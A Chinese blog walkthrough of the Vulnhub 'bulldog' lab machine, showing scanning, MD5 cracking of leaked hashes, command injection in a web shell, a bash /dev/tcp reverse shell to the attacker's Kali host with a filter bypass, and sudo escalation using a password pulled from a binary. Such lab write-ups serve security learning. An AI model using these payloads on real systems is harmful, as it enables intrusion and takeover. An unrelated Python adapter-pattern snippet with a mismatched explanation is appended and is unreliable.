Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/
下载将其导入VMware,设置网络模式为NAT模式,开启靶机虚拟机
在kali攻击机使用命令nmap -Pn 192.168.172.1/24来获取靶机的IP地址
在这里插入图片描述
这里如果实在扫不出来靶机IP地址的话参考这篇文章来进行设置
https://blog.csdn.net/qq_45722813/article/details/121324686

得到靶机IP地址后再使用命令nmap -A -p- 192.168.172.137扫描靶机的操作系统及版本,开放端口和服务等,这里发现靶机操作系统版本,开放端口为23对应ssh服务,80和8080端口都对应http服务
在这里插入图片描述
然后打开浏览器在地址栏输入靶机IP地址回车打开网页
在这里插入图片描述
点开“Public Notice”查看,这里我用划词翻译翻译了一下,但是好像没什么用
在这里插入图片描述
然后我们在kali命令行中输入dirb http://192.168.172.137扫描后台目录发现了/admi/dev/dev/shell/
在这里插入图片描述
然后再浏览器地址栏输入http://192.168.172.137/admin,发现一个登录页面
在这里插入图片描述
查看源码,没有什么信息和提示
在这里插入图片描述
把地址栏换成http://192.168.172.137/dev/回车看看,还是一堆英文,但是最下面看到有一些好像是啥用户名或邮箱地址的东西
在这里插入图片描述
再把地址栏的地址换成http://192.168.172.137/dev/shell,提示我们要先想服务器验证才能使用shell
在这里插入图片描述
所以回到刚才的http://192.168.172.137/dev/,然后我们查看源码,发现一些奇怪的东西
在这里插入图片描述
猜测应该是MD5,然后拿去md5解码,得到了nick对应的解码为nulldog,sarah对应的解码为nulldoglover,
在这里插入图片描述
然后回到开始的登录页面,输入用户名和密码进行登录
在这里插入图片描述
登录进去发现还说什么也没有,查看源码也没什么东西
在这里插入图片描述
现在再回到http://192.168.172.137/dev/shell/,发现可以打开页面了,还有一个shell输入框并告诉了可以输入哪些命令,这里应该是远程命令执行
在这里插入图片描述
输入ifconfig | ls有ls的显示,存在命令注入
在这里插入图片描述
然后我们尝试反弹shell,首先在kali机使用命令nc -lnvp 6666进行监听
在这里插入图片描述

然后在web-shell的输入框中输入命令bash -i >& /dev/tcp/192.168.172.131/6666 0>&1执行,但是发现被挡了,他发现我进行攻击了
在这里插入图片描述
然后换种方式,输入命令echo "bash -i >& /dev/tcp/192.168.172.131/6666 0>&1" | bash,执行就可以了
在这里插入图片描述
成功反弹shell
在这里插入图片描述
查看目录,在/home目录下发现一个bulldogadmin
在这里插入图片描述
但是进到bulldogadmin目录下什么都没有
在这里插入图片描述

首先使用命令cat /etc/passwd查看所有用户
在这里插入图片描述
同时发现bulldogadmin是一个用户,所以使用命令find / -user bulldogadmin 2>/dev/null查找bulldogadmin用户的文件,发现这几个隐藏文件
在这里插入图片描述
使用命令cat /home/bulldogadmin/.hiddenadmindirectory/note查看文件内容
在这里插入图片描述
全是英文,将其复制到百度翻译中进行翻译
在这里插入图片描述
再查看另一个文件,命令cat /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp查看,但是全是乱码
在这里插入图片描述
使用命令strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp将文件内容转化为可打印字符在这里插入图片描述
然后直接使用sudo su命令进行提权,发现不行
在这里插入图片描述

出现上面的情况是因为我们是反弹回来的nc shell,这个shell的使用是有限制的,我们要使用命令python -c "import pty; pty.spawn('/bin/bash')"设置tty,将其转化为交互式shell,以便能够完全交互和使用其所有功能
在这里插入图片描述
还是不行,要在命令前面加上sudo才有权限执行
在这里插入图片描述
可以是可以了,但是需要输入用户密码,先试一下bulldog,但是发现不行
在这里插入图片描述
刚才我们将那个乱码文件转化后显示的内容中有一串super password之类的字符串,去掉其中的H组成字符串SUPERultimatePASSWORDyouCANTget,发现成了,已经提权到root用户
在这里插入图片描述
输入cd回车跳转到根目录下,ls命令查看文件及目录,发现有个congrats.txt文件,使用命令cat congrats.txt打开文件查看内容
在这里插入图片描述
它提示这里有两种方式提权到root用户权限,还有一种暂时不知道,就到这里了

参考文章:
https://www.freebuf.com/column/200047.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值